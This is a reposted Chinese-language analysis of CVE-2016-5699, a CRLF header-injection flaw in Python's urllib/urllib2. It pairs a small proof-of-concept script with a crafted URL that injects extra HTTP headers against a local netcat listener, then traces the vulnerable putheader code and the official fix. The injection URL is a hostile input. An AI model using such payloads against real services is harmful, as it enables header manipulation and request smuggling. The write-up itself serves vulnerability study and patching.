[CVE-2016-5699] Python HTTP header injection in urllib/urllib2

admin 2022年5月13日07:25:53评论67 views字数 3416阅读11分23秒阅读模式

0 概述


Python2.x 3.x 的urllib/urllib2从数据解析到发包的整个流程中,均未对URL提供安全性过滤或检查.导致换行符可被插入到HTTP数据流,使攻击者可以注入额外的HTTP头和请求方法.


本文将重点介绍:

  • HTTP 请求头基础

  • Python urllib/urllib2 核心代码逻辑

  • 漏洞验证过程及代码分析




1 相关文件


Python 2.x urllib2.py – httplib.py
Python 3.x urllib.py – http/client.py




2 HTTP请求头&换行符


为什么注入换行符就可以修改HTTP的请求头呢.

抓个GET请求看下


[CVE-2016-5699] Python HTTP header injection in urllib/urllib2


图片中可以看到在HTTP报文是连续且可读的,每行以rn结束,分别对应%0d,%0a


2.1 使用nc敲一个请求


nc www.cdxy.me 80


然后输入以下两行:


GET HTTP/1.1
Host: www.cdxy.me


就可以看到服务器解析这个GET请求并返回的结果:


[CVE-2016-5699] Python HTTP header injection in urllib/urllib2




3 漏洞PoC


3.1 脚本

#!/usr/bin/env python3  
# test.py

import
sys
import urllib
import urllib.error
import
urllib.request  
url = sys.argv[1]   try:    info = urllib.request.urlopen(url).info()    print(info)except urllib.error.URLError as e:    print(e)


3.2 正常的请求头


nc -l -v 127.0.0.1 -p 12345 监听本机12345端口
python3 test.py http://127.0.0.1:12345/index.html 发出请求


[CVE-2016-5699] Python HTTP header injection in urllib/urllib2


左边可以看到本机12345端口收到的请求头,也就是我们Python脚本发出的请求头.


3.3 注入换行符后


使用恶意构造的URL:
http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo


[CVE-2016-5699] Python HTTP header injection in urllib/urllib2


可以看到我们在URL构造的%0d%0a起了作用,成功插入两个自定义字段.

针对域名也是可以的,需要在域名后插一个%00,下图为localhost


[CVE-2016-5699] Python HTTP header injection in urllib/urllib2




4 show me the code


4.1 urllib/request.py


urllib/request.py - line 138 - def urlopen()


urlopen()办了三件事:

  1. 实例化OpenerDirector 对象 (选择功能)

  2. 实例化Request对象 (添加数据)

  3. 发起请求 (执行)


4.1.1 实例化OpenerDirector对象


urlopen()先通过build_opener()建立一个OpenerDirector 对象,
该对象中可以添加不同的handler


elif _opener is None:         _opener = opener = build_opener()

[CVE-2016-5699] Python HTTP header injection in urllib/urllib2


以下四个重要的变量均通过key-value的形式,将多种handler内部的方法根据功能归类,方便后续调用.

* handle_error 处理连接状态码
* handle_open 发起连接
* process_response 处理响应
* process_request 处理请求


4.1.2 实例化Request对象


urlopen()通过return进入open函数:

return opener.open(url, data, timeout)


open函数:实例化Request对象为req

if isinstance(fullurl, str):     req = Request(fullurl, data)


其中调用urlparse.py对原始URL进行解析.这一步之后,我们构造的恶意代码被带入req.host字段,如下图:


[CVE-2016-5699] Python HTTP header injection in urllib/urllib2


4.1.3 发起请求


需要清楚的一点是
urllib包和urllib2是基于httplib之上,提供更高层次的抽象.
也就是说,它们发送数据的核心代码,仍要经过httplib之手.


整理一下代码:
urlopen() 在实例化了OpenerDirector对象.将该实例传入opener.open()

opener.open() 在实例化了Request对象之后,将该实例传入self._open()函数,以执行"发起连接"的动作.


在这里req被带入opener.open()的子函数:_open()

response = self._open(req, data)


接着,_open()函数调用_call_chain()方法,从OpenerDirector对象的handle_open中加载指定的handler方法.


这里要发送请求,被加载的handlerHTTPHandler,代码如下:

class HTTPHandler(AbstractHTTPHandler):     def http_open(self, req):         return self.do_open(http.client.HTTPConnection, req)      http_request = AbstractHTTPHandler.do_request_


可以看到,req(携带恶意代码的Request实例)已经通过HTTPHandler进入了http.client.HTTPConnection函数.


这个函数在http/client.py,也就是Python2.x之中的httplib.py


4.2 httplib/http.client


httplib/http.client对请求头的处理函数如下(漏洞修复之前的代码):

def putheader(self, header, *values):         values = list(values)        
       for i, one_value in enumerate(values):
                 if hasattr(one_value, 'encode'):                          values[i] = one_value.encode('latin-1')          
                 elif isinstance(one_value, int):                          values[i] = str(one_value).encode('ascii')        value = b'rnt'.join(values)        header = header + b': ' + value        self._output(header)

代码一目了然,这个函数将所有的header连接成一个长字符串,不同的header之间以rnt进行连接.


当然,我们的恶意代码也在其中,现在它返回的header字符串是这样的:

b'GET /foo HTTP/1.1rnAccept-Encoding: identityrnConnection: closernUser-Agent: Python-urllib/3.4rnHost: 127.0.0.1rnX-injected: headerrnx-leftover: :12345rnrn'


前文已经叙述HTTP请求头相关的基本知识,nc收获的请求头如下:

GET /foo HTTP/1.1 Accept-Encoding: identity Connection: close User-Agent: Python-urllib/3.4Host: 127.0.0.1 X-injected: header x-leftover: :12345


本漏洞的原理介绍到此结束




5 官方修复方案


官方针对Python2/Python3更新的两个版本代码,均在出口处的putheader()函数里添加了一个检验,发现不合法URL会报一个error.

3.4 / 3.5 : revision 94952
2.7 : revision 94951




6 参考


关于漏洞危害可参考以下链接


原文始发于微信公众号(乐枕迭代日志):[CVE-2016-5699] Python HTTP header injection in urllib/urllib2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月13日07:25:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [CVE-2016-5699] Python HTTP header injection in urllib/urllib2https://cn-sec.com/archives/943668.html

发表评论

匿名网友 填写信息